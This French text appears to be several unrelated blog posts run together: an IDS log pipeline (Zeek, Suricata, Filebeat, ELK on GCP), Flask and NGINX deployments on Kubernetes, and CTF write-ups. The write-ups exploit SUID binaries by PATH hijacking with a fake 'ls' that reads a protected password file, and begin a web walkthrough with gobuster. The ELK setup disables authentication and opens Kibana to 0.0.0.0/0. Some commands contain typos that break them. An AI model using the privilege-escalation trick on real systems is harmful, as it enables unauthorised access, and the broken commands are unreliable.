L’objectif principal est de construire un pipeline de logs, afin de :

• collecter les événements réseau depuis plusieurs capteurs

• les normaliser et les transférer vers Logstash via Filebeat

• puis les visualiser dans Kibana pour faciliter la détection

Composants

• Zeek: système de détection d’intrusion IDS et d’analyse de trafic réseau. Il permet de générer des logs et fichiers détaillés sur les connexions et les activités observées.

• Suricata: IDS/IPS qui utilise des règles de détection pour inspecter le trafic et déclencher des alertes

• ELK: ensemble de trois outils

  • Elasticsearch: pour le stockage de logs, la recherche et l’analyse de ces logs.

  • Logstash: collecte des logs de Zeek et Suricata via Filebeat, transformation de ces logs en format JSON ou CSV puis envoi à Elasticsearch pour stockage.

  • Kibana: pour la visualisation des données et création de dashboard

• Filebeat: pour la collecte des logs des deux IDS et l’envoi à Logstash

Voici un diagramme montrant l’architecture du projet et les différentes étapes.

graph TD
    A[Attaques simulées<br>Kali, Nmap, Hydra] --> B[Capture du trafic<br>Zeek & Suricata]
    B --> C[Filebeat<br>Collecte des logs]
    C --> |Envoi des logs| D[Logstash<br>Transformation des logs]
    D --> E[Elasticsearch<br>Stockage & Indexation]
    E --> F[Kibana<br>Dashboards & visualisation]

Étape 1: Préparation de l’environnement dans GCP

La première étape consiste à configurer l’environnement de lab afin de simuler le réseau, capturer le trafic. On opte pour trois machines sur Google Cloud Platform (GCP):

• une machine vm1-ubuntu de 23G de disque, pour Zeek et Suricata

• une machine vm2-ubuntu de 23G de disque, pour ELK qui sera installé via Docker.

Les machines sont installées avec les configurations de bases. Pour le réseau, on choisit une configuration standard de GCP qui utilise VPC en mode Bridge afin d’avoir une réelle intégration réseau. Chaque VM dispose d’une IP interne pour la communication interne au VPC et aussi une IP externe lorsqu’on veut y accéder depuis l’externe. L’IP interne est utilisée pour la communication entre les machines et l’IP externe pour l’accès à Kibana par exemple, après avoir ajouter des règles de pare-feu pour autoriser les ports.

Installation de Zeek sur la vm1

Installer les dépendances pour Zeek:

sudo apt update 
sudo apt install build-essential cmake make gcc g++ flex bison libpcap-dev libssl-dev python3-dev zlib1g-dev swig

Télécharger Zeek depuis le site officiel avec la commande suivante:

wget https://download.zeek.org/zeek-8.0.1.tar.gz

Extraire le fichier

 tar -xvzf zeek-8.0.1.tar.gz

Se déplacer dans le répertoire du fichier extrait puis configurer zeek avec la commande suivante:

cd zeek-8.0.1/
./configure

Il est possible que la commande montre des configurations incomplètes ou ne localisent pas toutes les librairies. Voici l’erreur que j’ai eue personnellement à cette commande.

On a d’abord la librairie ZeroMQ manquante, puis le cache à nettoyer. Pour résoudre cela, il faut installer la librairie avec la commande suivante:

sudo apt-get install libzmq3-dev

Puis vider le cache avec la commande

 make distclean

Sans ces deux réglages il ne serait pas possible de continuer. Une fois le problème résolu, il faut reconfigurer zeek avec la commande :

./configure

Compiler ensuite avec les commandes suivantes:

make
sudo make install

À noter que chacune de ces deux commandes peut prendre un bout de temps à s’exécuter.

Une fois que Zeek est configuré, il faut l’ajouter au PATH du système, afin de pouvoir lancer les commandes zeek depuis n’importe quel répertoire. Il faut donc ajouter le répertoire de zeek au fichier .bashrc ou .zshrc.

nano ~/.bashrc

Ajouter la ligne suivante en incluant le répertoire de zeek, à la fin du fichier. Ici, Zeek a été installé dans le répertoire /usr/local/zeek, les exécutables sont donc dans le répertoire /usr/local/zeek/bin.

export PATH="/usr/local/zeek/bin:$PATH"

Sauvegarder et quitter le fichier pour appliquer les changements avec la commande

source ~/.bashrc

Vous pouvez ensuite vérifier la version et l’emplacement de zeek et les logs avec la commande suivante:

zeek --version
which zeek

Lancer Zeek avec la commande suivante:

zeekctl deploy

Zeek est bien installé, mais l’utilisateur n’a pas les droits d’écrire dans le fichier /usr/local/zeek/spool/. Remplacer USER par le nom d’utilisateur

sudo chown -R [USER]:[USER] /usr/local/zeek/spool
sudo chown -R [USER]:[USER] /usr/local/zeek

En exécutant maintenat zeekctl deploy, on peut lancer zeek.

Zeek démarre mais on voit qu’il s’arrête automatiquement après.

On essaie de vérifier les logs générés dans le fichier /usr/local/zeek/logs.

ls  /usr/local/zeek/logs

On peut donc voir les premiers logs de sorties et d’erreurs de Zeek. Le fichier stderr.log capture les messages d’erreur générés puis le fichier stdout.log capture les messages de sortie de Zeek.

En essayant de lire le fichier de log stderr.log, il y a une petite erreur au niveau de l’interface eth0.

On voit que Zeek n’a pas les permissions pour analyser le trafic sur l’interface eth0. Il faut donc donner les droits de capture avec la commande suivante:

sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/zeek/bin/zeek

En vérifiant aussi avec ip a, on voit que zeek essaie de démarrer sur l’interface eth0, alors que l’interface active sur la machine est l’interface ens4. Il faut donc modifier la configuration de zeek afin qu’elle démarre sur la bonne interface

Pour cela, exécutez les commandes suivantes

sudo nano /usr/local/zeek/etc/node.cfg

Remplacez ensuite eth0 par ens4, ou l’interface de la machine.

Cela permet donc à Zeek de démarrer sur l’interface ens4 qui est celle active. On a donc réglé les deux problèmes au niveau de la permission pour l’analyse du trafic, puis de l’interface. Il faut donc relancer avec la commande zeekctl deploy.

Cette fois, Zeek démarre bien sans erreur.

On peut donc vérifier les fichiers de logs dans /usr/local/zeek/logs avec la commande:

ls /usr/local/zeek/logs

Zeek génère bien les fichiers de logs maintenant en format gzip. On a ici deux répertoires: /usr/local/zeek/logs/current et usr/local/zeek/logs/2025-09-04.

Le répertoire /current représente le répertoire actif en cours d’exécution. Il contient les logs du Zeek qui tourne au moment où il tourne. Au redémarrage de Zeek une autre fois, les fichiers sont déplacés de /current vers un dossier daté comme /2025-09-04, un peu comme un archivage selon la date. Le répertoire /current contient plusieurs fichiers courants:

• conn.log enregistre les connexions réseaux

• http.log enregistre les requêtes HTTP incluant les enquêtes et les codes

• stats.log enregistre les statistiques de capture.

• dns.log enregistre les requêtes et réponses DNS

• weird.log enregistre les comportements réseaux suspects

Le répertoire /2025-09-04/ est l’archive d’une journée de logs. Il contient des fichiers compressés en .log.gz déplacés du répertoire /current. On peut les lire sans les extraire, avec la commande zcat.

Vous pouvez voir la liste complète des fichiers sur le site officiel.

Installation de Suricata sur la vm1

Mettre à jour le système

sudo apt update
sudo apt upgrade -y

Installer la dernière version de Suricata avec les commandes suivantes:

sudo apt-get install software-properties-common
sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt-get update
sudo apt-get install suricata

Vérifier ensuite avec la commande suivante

suricata -V
suricata --build-info

Au niveau de Suricata, les logs sont générés dans le répertoire /var/log/suricata/.

On y retrouve les fichiers suivants:

• fast.log contient un résumé des alertes générées

• eve.json contient les infos détaillées sur les alertes

• stats.log affiche les statistiques et l’état de Suricata

• suricata.log contient le journal de Suricata, c’est-à-dire les infos sur le démarrage, l’arrêt, les erreurs etc.

Il faut ensuite configurer Suricata par la suite. Le fichier principal de configuration se trouve dans le répertoire /etc/suricata/suricata.yaml.On doit y déterminer l’interface réseau et l’adresse IP sur laquelle Suricata doit inspecter. Pour cela, vérifiez les informations de votre réseau avec la commande ip a.

Ouvrez ensuite le fichier de configuration, et cherchez la section af-packet.

sudo nano /etc/suricata/suricata.yaml

On va ensuite modifier l’interface eth0 par celle de notre machine.

Télécharger les signatures et les règles Suricata avec la commande suivante:

sudo suricata-update

Démarrer le service Suricata par la suite

sudo systemctl enable suricata
sudo systemctl start suricata

Vous pouvez ensuite vérifier le contenu de ces fichiers.

Installation Docker sur la vm2

Au niveau de la vm2 ubuntu, il faut installer Docker et déployer ELK (Elaticsearch, Logstach puis Kibana).

Pour installer Docker, mettre à jour la VM en premier puis installer les paquets nécessaires:

sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

Ajouter ensuite le dépôt officel Docker.

echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update

Installer la dernière version de Docker

sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

Vous pouvez ensuite vérifier l’installation

 sudo docker version
sudo systemctl status docker

Pour simplifier le déploiement de ELK, on installe aussi Docker Compose. Il est utile dans ce cas car ELK comporte trois services principaux. Sans Docker Compose, il faudrait télécharger, configurer puis gérer manuellement les ports, réseaux pour chaque service. Docker Compose permet d’écrire puis gérer le tout dans un seul fichier docker-compose.yml, Mais Docker Compose est déjà présent sur certaines versions de Ubuntu, donc plus besoin d’installer le paquet. Vous pouvez vérifier avec la commande suivante:

docker compose version

Sinon installez Docker Compose

sudo apt install docker compose -y

Déployer ELK via Docker Compose sur la vm2

Créer un répertoire pour ELK

mkdir ELK
cd ELK

Créer le fichier docker-compose.yml

nano docker-compose.yml

services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:8.17.0
    container_name: elasticsearch
    environment:
      - node.name=elasticsearch
      - discovery.type=single-node
      - xpack.security.enabled=false
      - xpack.security.audit.enabled=true
      - ES_JAVA_OPTS=-Xms1g -Xmx1g
    volumes:
      - elasticsearch-data:/usr/share/elasticsearch/data
    ports:
      - "9200:9200"
    networks:
      - elk

  kibana:
    image: docker.elastic.co/kibana/kibana:8.17.0
    container_name: kibana
    environment:
      - ELASTICSEARCH_HOSTS=http://elasticsearch:9200
    ports:
      - "5601:5601"
    networks:
      - elk
    depends_on:
      - elasticsearch

  logstash:
    image: docker.elastic.co/logstash/logstash:8.17.0
    container_name: logstash
    volumes:
      - ./logstash/pipeline:/usr/share/logstash/pipeline
    ports:
      - "5044:5044"
    networks:
      - elk
    depends_on:
      - elasticsearch

volumes:
  elasticsearch-data:

networks:
  elk:
    driver: bridge

Voici une petite explication des paramètres utilisés dans le fichier

• image: définit la version de l’image Docker à utiliser pour créer le conteneur.

• discovery.type=single-node: configure Elasticsearch en mode single-node, signifiant qu’il fonctionnera comme un nœud unique sans essayer de se connecter à d'autres nœuds.

• xpack.security.enabled=false: désactive les fonctionnalités de sécurité, telles que l’authentification et l’autorisation, utile ici vu qu’il s’agit d’un test.

• xpack.security.audit.enabled=true: active l’audit de sécurité afin de suivre les évènements dans Elasticsearch.

• ES_JAVA_OPTS=-Xms1g -Xmx1g: configure les options de la machine, spécifiant la mémoire initiale et maximale allouée à la machine

• volumes: elasticsearch-data: volume utilisé pour stocker les données de manière persistante

• ports: permet d’exposer le service sur un port précis

• networks: créé un réseau interne dédié aux conteneurs, pour faciliter la communication avec d’autres services comme Logstash et Kibana dans le meme réseau elk.

Pour la suite, lancer ELK

sudo docker compose up -d

Les deux commandes doivent être exécutées après chaque redémarrage de votre poste, afin de redémarrer ELK.

Vous pouvez ensuite vérifier que les services roulent bien et que les ports sont bien ouverts avec la commande suivante:

sudo docker ps

Redémarrer ensuite la machine puis relancez ELK avec la commande suivante

cd ELK/
sudo docker compose start

Pour vérifier Elasticsearch:

curl -X GET http://localhost:9200

On a bien Elasticsearch sur le port 9200, en version 8.17.0.

On peut aussi vérifier depuis la vm1, avec la commande suivante

curl -X GET http://IP_VM2:9200

Kibana étant une interface graphique, on peut aussi y accéder depuis le navigateur. Si vous êtes sur une machine en local, ou dans le même réseau que la VM, vous pouvez y accéder directement via l’adresse suivante:

http://IP_VM2:5601

Dans notre cas ici, la VM est hébergée sur Google Cloud Platform (GCP). Avant d’y accéder depuis l’extérieur, il faut que le pare-feu du réseau VPC autorise le traffic entrant sur le port 5601 de Kibana. On va donc créer une règle de pare feu dans GCP. Vous pouvez y accéder via le lien suivant: https://console.cloud.google.com/net-security/firewall-manager/firewall-policies/list?hl=fr

Lors de la création de la règle, il est important de spécifier les paramètres suivants:

• le nom: allow-kibana

• la source: une adresse IP qui sera autorisée. Par exemple 0.0.0.0/0 pour tout le monde, ou l’adresse IP publique de votre machine.

• la cible: la VM sur laquelle ELK est installée ou toutes les instances du réseau

• le port et le protocole: tcp:5601

Une fois la règle est créée, Kibana devient accessible à l’adresse suivante:

http://IP_EXTERNE_VM2:5601

Étape 2: Collecte et traitement des logs

Configuration de Logstash pour collecter les donneés - création du pipeline conf sur la vm2

Par la suite, il faut créér le fichier de pipeline de configuration logstash.conf dans le répertoire logstash/pipeline/. C’est un fichier de principal de Logstash qui définit comment les données sont traitées puis transformées. Les paramètes inclus dans le fichier sont disponibles sur le site officiel.

Pour cela, exécuter les commandes suivantes:

cd ELK/
mkdir -p logstash/pipeline
sudo nano logstash/pipeline/logstash.conf

Voici le contenu du fichier logstash.conf.

input {
  beats {
    port => 5044
  }
}

# La section filter est optionnel. On l'utilise si on souhaite transformer, structurer les logs
# Ici, on sépare Zeek et Suricata dans deux index différents
filter {
  if [type] == "zeek" {
    mutate { add_field => { "[@metadata][target_index]" => "zeek-%{+YYYY.MM.dd}" } }
  }
  else if [type] == "suricata" {
    mutate { add_field => { "[@metadata][target_index]" => "suricata-%{+YYYY.MM.dd}" } }
  }
}


output {
  elasticsearch {
    hosts => ["http://elasticsearch:9200"]
    index => "%{[@metadata][target_index]}"
  }
  stdout { 
    codec => rubydebug 
  }
}

Redémarrer ensuite le conteneur Logstash avec la commande suivante.

sudo docker restart logstash

Il se peut que le conteneur soit créé avec un nom différent que logstash. Vous pouvez vérifier les conteneurs existants avec la commande suivante:

sudo docker ps -a

Installation de Filebeat sur la vm1

Avec Docker Compose, Zeek et Suricata installés et fonctionnels, on veut pouvoir collecter les logs puis les acheminer vers ELK sur la vm2. Pour cela on installe Filebeat ,qui lit les logs de la vm1 (depuis Zeek et Suricata) et les envoie à Elasticsearch (Logstash) sur la vm2.

Télécharger et installer la clé de signature publique

wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -

Installer les paquets apt-transport-https

sudo apt-get install apt-transport-https
echo "deb https://artifacts.elastic.co/packages/9.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-9.x.list

Installer Filebeat avec la commande suivante:

sudo apt-get update && sudo apt-get install filebeat

Configurer ensuite Filebat pour démarrer automatiquement au démarrage

sudo systemctl enable filebeat
 sudo systemctl status filebeat

Après l’installation, éditer le fichier de configuration Filebeat /etc/filebeat/filebeat.yml, afin qu’Il collecte les logs et les envoie à la sortie souhaitée (ici ELK ou Logstach).

sudo nano /etc/filebeat/filebeat.yml

Ajouter le bloc de code suivant dans la section Filebeat input

# Input added for Zeek & Suricata on 2025-09-05
- type: filestream
  id: zeek-filestream-id
  enabled: true
  paths:
    - /usr/local/zeek/logs/*/*.log
    - /usr/local/zeek/logs/current/*.log
  tags: ["zeek"]
  fields:
    type: zeek
  fields_under_root: true

- type: filestream
  id: suricata-filestream-id
  enabled: true
  paths:
    - /var/log/suricata/*.log
    - /var/log/suricata/eve.json
  tags: ["suricata"]
  fields:
    type: suricata
  fields_under_root: true

Il faut ensuite configurer la sortie soit vers Elasticsearch directement, soit vers Logstash sur la vm2, toujours dans le même fichier etc/filebeat/filebeat.yml, dans la section Elasticsearch Output ou dans la section Logstash Output. Le choix dépend de ce qu’on veut faire des logs.

• Envoyer à Elasticsearch est simple et demande moins de configurations. Les logs arrivent directement dans Elasticsearch et peuvent être visualisés dans Kibana. Par contre, il n’y a pas moyen de filtrer ou transformer les logs.

• 

  Envoyer à Logstash est un peu plus lourd à configurer. Il faut créér le fichier de pipeline et les fichiers de paramètre (ils sont inclus dans l’installation). Mais on peut filtrer, transformer les logs avant de les envoyer à Elasticsearch. C’est plus pratique lorsqu’on veut prétraiter les logs, extraire des champs spécifiques

On opte ici pour l’envoi vers Logstash. Il suffira juste de commenter toute la section Elasticsearch Output.

Dans la section Logstash Output, modifier les paramètres comme hosts, protocol,si vous activez https, puis username et password si l’authentification est activée.

output.logstach:
  hosts: ["IP_VM2:5044"]

Redémarrer ensuite Filebeat

sudo systemctl restart filebeat
sudo systemctl status filebeat
sudo filebeat test output

La commande filebeat test output permet de confirmer si Filebeat, depuis la vm1, arrive bien à joindre Logstash installée sur la vm2.

Une fois que Filebeat depuis la vm1 arrive à bien se connecter à Logstash sur la vm2, on est sûr que ca fonctionne.

Vérification dans logs dans Elasticsearch

On vérifie ici que Logstash sur la vm2, recoit bien les logs de Filebeat depuis la vm1. Pour cela, exécuter la commande suivante sur la vm2, où est installée Logstash:

sudo docker logs -f logstash

On a bien le type de données (type suricata) qu’on avait défini dans Filebeat pour différencier Zeek et Suricata. Filebeat transmet aussi le chemin exact du fichier source, soit /var/log/suricata/eve.json. On a aussi des infos sur l’hôte duquel provient les logs.

On peut ensuite vérifier les index créés dans Elasticsearch car une fois que Logstash reçoit bien les logs, il doit les envoyer à ELK (Elasticsearch)

curl -X GET "http://localhost:9200/_cat/indices?v"

On a bien l’index défini au niveau du fichier de configuration logstash.conf, avec le tag suivi de la date. L’index contient pour le moment 6470 documents pour zeek et 4905 pour Suricata.

On peut ensuite vérifier au niveau de l’Interface dans Kibana à l’adresse suivante:

http://IP_VM2:5601

Dans la section Management, naviguer vers Stack Management. Allez ensuite dans Data Views puis Create Data View. Dans le champ Name, inscrire le nom correspondant aux logs, soit suricata-* pour Suricata, ou zeek-* pour Zeek. Cliquer ensuite sur Create Data View.

Une fois le Data View créé, aller dans la section Discover, sélectionnezr le Data View suricata-* afin de voir les logs. On a bien le champ hostname qui est celui de la vm1 et le champ agent-type qui est filebeat.

Vous pouvez ensuite créer plusieurs Data Views :

• zeek-* pour les logs Zeek

• suricata-* pour les alertes Suricata

• filesbeat-* pour les logs génériques Filebeat

Documentation

• 2. Quickstart guide—Suricata 9.0.0-dev documentation. (n.d.). Retrieved October 25, 2025, from https://docs.suricata.io/en/latest/quickstart.html#basic-setup

• 3.2.1. Ubuntu Package Installation—Suricata 9.0.0-dev documentation. (n.d.). Retrieved October 25, 2025, from https://docs.suricata.io/en/latest/install/ubuntu.html

• Binary packages. (n.d.). GitHub. Retrieved October 25, 2025, from https://github.com/zeek/zeek/wiki/Binary-Packages

• Configure inputs | Beats. (n.d.). Retrieved October 25, 2025, from https://www.elastic.co/docs/reference/beats/filebeat/configuration-filebeat-options

• Filebeat quick start: Installation and configuration | Beats. (n.d.). Retrieved October 25, 2025, from https://www.elastic.co/docs/reference/beats/filebeat/filebeat-installation-configuration

• Guardian, C. T. (2024, November 11). Zeek installation in ubuntu. Medium. https://medium.com/@cybertoolguardian/zeek-installation-in-ubuntu-60835ee3e42c

• Installing zeek—Book of zeek(V8. 0. 2). (n.d.). Retrieved October 25, 2025, from https://docs.zeek.org/en/lts/install.html

• Log files—Book of zeek(8.1.0-dev.682). (n.d.). Retrieved October 25, 2025, from https://docs.zeek.org/en/master/script-reference/log-files.html

• Logstash configuration files | logstash. (n.d.). Retrieved October 25, 2025, from https://www.elastic.co/docs/reference/logstash/config-setting-files

• Prise en main de la suite elastic et de docker-compose. (n.d.). Elastic Blog. Retrieved October 25, 2025, from https://www.elastic.co/fr/blog/getting-started-with-the-elastic-stack-and-docker-compose

• Ubuntu. (2025, October 10). Docker Documentation. https://docs.docker.com/engine/install/ubuntu/

• Utiliser des règles de pare-feu VPC | Cloud Next Generation Firewall. (n.d.). Google Cloud. Retrieved October 25, 2025, from https://docs.cloud.google.com/firewall/docs/using-firewalls?hl=fr

Pré-requis

• Docker: pour créer l’image conteneurisée de l’application avec Docker Desktop

• Minikube: pour créer un cluster local de test

• kubectl: pour interagir avec Kubernetes

Étape 1: Créer l’application Python

1. Créer un fichier app.py

   Ce code crée une application via Flask qui écoute sur le port 5000 et affiche un message

    from flask import Flask
   
    app = Flask(__name__)
   
    @app.route('/')
    def hello_world():
        return 'Hello, K8s!'
   
    if __name__ == '__main__':
        app.run(host="0.0.0.0", port=5000)
   

2. Créer un requirements.txt pour y lister les dépendances.

    Flask==3.0.3
   

3. Installer les dépendances

    pip install -r requirements.txt
   

   Vous pouvez ensuite tester l’application avec la commande python app.py

Étape 2: Conteneuriser l’application via Docker

Pour déployer l’application sur Kubernetes, il faut la conteneuriser avec Docker. Cela signifie de créer une image Docker qui contient l’application et tout ce qu’il faut pour l’exécuter (dépendances et autres).

1. Créez un fichier Dockerfile

    # Utiliser une image de base Python
    FROM python:3.9-slim
   
    # Définir le réepertoire de travail
    WORKDIR /app
   
    # Copier les fichiers de l’application
    COPY requirements.txt .
    COPY app.py .
   
    # Installer les dépendances
    RUN pip install -r requirements.txt --no-cache-dir 
   
    # Exposer le port de l’application
    EXPOSE 5000
   
    # Démarrer l’application
    CMD ["python", "app.py"]
   

2. Construire l’image Docker

   Docker doit d’abord être installé pour que cela fonctionne. Vous pouvez télécharger et installer Docker Desktop. Après l’installation, exécutez la commande suivante:

    docker build -t flask-k8s:1.0
   

   

   L’image Docker a bien été construite et est disponible localement. Vous pouvez la vérifier avec la commande docker images.

   

3. Tester l’image en local

   Pour s’assurer que l’application fonctionne, testez le conteneur avec la commande suivante:

    docker run -p 5000:5000 flask-k8s:1.0
   

   On accède ensuite à l’application via http://localhost:5000

   

Étape 3 : Pousser l’image vers Docker Hub

La prochaine étape sera de pousser l’image sur Docker Hub afin de la rendre accessible partout, pas seulement localement. Tout autre cluster a besoin d’Accéder à l’image pour créer les conteneurs. Si l’image reste uniquement sur le Docker local, seul le PC peut la lancer. Il faut la pousser sur Docker Hub afin de la rendre disponible pour notre cluster Kubernetes ou à d’autres personnes.

1. Créer un compte Docker Hub https://hub.docker.com/ puis se connecter avec la commande docker login -u USERNAME. Vous serez invités à entrer votre mot de passe.

2. Tagger l’image Docker

   Avant de pousser l’image, il faut s’assurer qu’elle est correctement taggée. Cela ne crée pas une nouvelle image , mais ajoute un tag à l’image existante.

    docker tag flask-k8s:1.0 bildotcom/flask-k8s:1.0
   

   

3. Pousser l’image

   Assurez vous d’avoir confirmer votre adresse courriel sinon l’image ne pourra être poussée vers le hub

    docker push bildotcom/flask-k8s:1.0
   

   Après cela, votre image sera disponible sur Docker Hub et pourra être utilisée pour des déploiements sur d’autres machines.

Étape 4 : Déployer l'image sur Kubernetes

Une fois que l’Image est sur Docker Hub, on peut maintenant déployer l’application sur un cluster Kubernetes. Pour cela, il faut créer des fichiers de configurations Kubernetes qui sont des fichiers YAML pour définir les objets nécessaires, tels que Deployment et Service.

1. Créer le fichier deployment.yaml

   Deployment définit comment l’application doit être déployée, le nombre de répliques et l’image à utiliser.

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: flask-k8s
    spec:
      replicas: 2 # ici on spécifie le nombre de pods (répliques)
      selector: 
        matchLabels:
          app: flask-k8s 
      template:
        metadata:
          labels:
            app: flask-k8s
        spec:
          containers:
          - name: flask-k8s
            image: bildotcom/flask-k8s:1.0
            ports:
            - containerPort: 5000 # port exposé par le conteneur
   

2. Créer le fichier service.yaml

   Service expose l’application afin qu’elle soit accessible à d’autres services à l’extérieur du cluster.

    apiVersion: v1
    kind: Service
    metadata:
      name: flask-k8s
    spec:
      selector:
        app: flask-k8s
      ports:
      - protocol: TCP
        port: 80 # port exposé par le service
        targetPort: 5000 # port interne du conteneur
      type: NodePort
   

   Dans Kubernetes, il existe plusieurs types de services qui déterminent comment un service est exposé. On le définit via le champ type du fichier service.yaml.

   • clusterIP: type par défaut. Il expose le service uniquement à l’intérieur du cluster sur une IP interne. L’accès externe ne sera pas possible sans un tunnel.

   • NodePort: expose le service sur un port fixe de chaque noeud du cluster. Cela permet d’accéder au service depuis l’extérieur du cluster avec l’IP du noeud et le port spécifié.

   • LoadBalancer: crée un équilibreur de trafic vers les pods du service.

   • ExternalName: redirige le service vers un nom DNS externe en utilisant un CNAME.

3. Déployer sur le cluster

   Pour cette étape, il faut s’assurer que le cluster Minikube est en cours d’exécution avec la commande minikube start. Déployez ensuite le déploiement et le service avec les commandes suivantes:

    kubectl apply -f deployment.yaml
    kubectl apply -f service.yaml
   

   Vous pouvez vérifier si les pods démarrent avec la commande kubectl get pods.

   

   On voit bien les deux pods spécifiés dans le fichier deployment.yaml sont en status Running.

4. Vérifier que le service est exposé

   La commande kubectl get svc permet de lister tous les services dans le cluster. On voit que le service est bien exposé via NodePort sur le port 32101.

   

5. Accéder à l’application

   Ouvrez l’application dans votre navigateur avec la commande suivante:

    minikube service flask-k8s
   

   

Si l’adresse 192.168.49.2:32107 ne fonctionne pas directement (car le réseau Minikube n’est pas routé vers l’hôte du poste Windows), on peut utiliser la commande minikube service flask-k8s pour ouvrir l’URL automatiquement ou utiliser un LoadBalancer au lieu du NodePort

Voici comment créer une application Pyhton Flask, la conteneurisée avec Docker, la publier sur DockerHub puis la déployer sur un cluster Kubernetes avec Minikube.

Pré-requis

• Minikube: pour créer un cluster local de test

• kubectl: pour interagir avec Kubernetes

Étape 1: Installer et démarrer Minikube

Minikube permet de créer un cluster Kubernetes local. Allez sur le site minikube start | minikube pour télécharger et installer minikube. À noter que Minikube ne doit pas être utilisé en prod car il est principalement concu pour des environnements de tests sur une machine. Il faudrait envisager Amazon EKS ou Google Kubernetes Engine en prod.

Exécutez ensuite la commande suivante pour lancer le cluster.

minikube start

Le cluster minikube a démarré correctement mais il est indiqué que kubectl est introuvable. Cela signifie que kubectl n’est pas bien installé sur le système windows. On peut l’installer avec la commande suivante:

minikube kubectl -- get pods -A

La commande a été exécutée et affiche la liste des pods en cours d’exécution. Un pod est l’unité de base de déploiement dans Kubernetes. Il représente un ou plusieurs conteneurs qui partagent le même réseau et le même espace de stockage. Chaque pod a sa propre adresse IP, ce qui permet aux conteneurs à l'intérieur de communiquer entre eux.

Le cluster Kubernetes est maintenant fonctionnel et tous les composants ( etcd, kube-apiserver, kube-controller-manager, kube-scheduler, etc) sont en status Running.

Étape 2 : Déployer une application de test conteneurisée

On va déployer ici une application conteneurisée assez simple, un serveur web NGINX.

1. Crééz le déploiement

    minikube kubectl -- create deployment hello-nginx --image=nginx
   

   Cette commande crée un pod(un conteneur) avec l’image NGINX, qui contient tout ce qu’il faut pour exécuter le serveur web.

   

2. Exposez l’application

    minikube kubectl -- expose deployment hello-nginx --type=NodePort --port=80
   

   Cette commande expose le déploiement kubernetes et crée un service de type NodePort pour accéder à l’application depuis le navigateur

   

3. Accédez à l’application

    minikube service hello-nginx
   

   Cette commande permet à Minikube d’ouvrir une URL dans le navigateur pour voir la page NGINX.

Le cluster fonctionne donc bien. La prochaine étape serait de déployer une réelle application.

On veut pouvoir lire le mot de passe du fichier .passwd mais il n’est lisible que par le propriétaire du fichier app-script-ch12-cracked.

Le code source de ch12.c utilise la fonction system() pour lister le répertoire du fichier .passwd. Par contre la commande ls est appelée dans la fonction system() sans spécifier le chemin absolu, c’est-à-dire /bin/ls. Puisque le fichier ch12 a le binaire SUID activé, il peut s’exécuter avec les droits du propriétaire. Quand la commande ls sera exécutée par la commande system(), le shell regardera au niveau des variables d’environnement PATH puis cherche la commande ls dans les répertoires. La commande qu’on aura manipulé sera donc exécutée à la place.

Créér le répertoire dans /tmp/script

mkdir /tmp/script
nano /tmp/script/ls

Écrire ensuite le script pour lire le fichier .passwd.

#!/bin/bash
cat /challenge/app-script/ch12/.passwd

Rendre le script ls exécutable

chmod +x /tmp/script/ls

Modifier la variable d’environnement PATH pour inclure notre script

export PATH=/tmp/script:$PATH

En vérifiant avec la command which ls, on voit que que le script est bien trouvé avant la commande ls.

On peut maintenant lire le fichier.

Pour ce challenge, il faut lire le fichier .passwd dans le répertoire de l’utilisateur avec lequel on est connecté.

Ce fichier est détenu par app-script-ch11-cracked, qui a le droit de lire, et il appartient aussi au groupe app-script-ch11. Le fichier ch11 est un exécutable en C, qui utilise la fonction system pour lister contenu de .passwd. Et vu que .passwd est un fichier et non un dossier, lorsqu’on l’exécute il affiche juste le nom sans lire le contenu.

Par contre, on voit que le fichier ch11 a le bit SUID défini, indiqué par le s dans les permissions à la place du x pour l’exécution. Cela signifie que lorsqu’il est exécuté, c’est avec les privilèges du propriétaire, soit app-script-ch11-cracked.

La faille ici se trouve au niveau du ls qui est appelé au niveau de la fonction system. Le programme appelle ls sans spécifier où le trouver. En principe, on devait avoir system("/bin/ls /challenge/app-script/ch11/.passwd") pour indiquer le chemin absolu de la commande ls sur le système. Lorsque la commande est exécutée, le shell regarde dans la variable d’environnement appelée PATH, qui contient la liste de répertoires où il cherche ses commandes. Si on arrive à modifier le PATH, pour le pointer vers un autre répertoire, on peut modifier l’exécution du ls qui sera remplacée par une autre commande, vu que la vraie commande ls (/bin/ls) n’est pas spécifiée au niveau de la fonction system. Notre fausse commande ls sera ensuite exécutée avec les privilèges de app-script-ch11-cracked car le fichier ch11 a le bit suid.

Pour créer la fausse commande ls, on créé un répertoire qui va contenir un script nommé ls. On peut créer ce script dans un répertoire /tmp/script.

#!/bin/bash
cat /challenge/app-script/ch11/.passwd

Il s’agit d’un shell (#!/bin/bash) qui va lire et non lister le contenu du fichier avec cat au lieu de ls. Il faut ensuite rendre ce script exécutable avec la commande suivante

chmod +x /tmp/script/ls

Il faut maintenant modifier la variable PATH pour que /tmp/script soit le premier endroit où le shell cherche les commandes.

export PATH=/tmp/script:$PATH

Avant l’exécution de cette commande, le PATH était probablement /usr/local/sbin, mais une fois qu’on l’exécute, le PATH débute par /tmp/script. Quand il voit à partir de là, une commande ls, il exécute donc /tmp/script/ls et non /bin/ls.

On débute par un scan nmap, mais rien d’intéressant.

On cherche ensuite des répertoires ou fichiers sur le serveur avec gobuster, via la commande gobuster dir -u 10.10.56.225 -w /usr/share/wordlists/dirb/big.txt.

On y trouve un répertoire /app.

On tombe ensuite sur une page qui est celle du CMS

En cliquant sur le lien admin, on a une page de connexion avec juste un mot de passe.

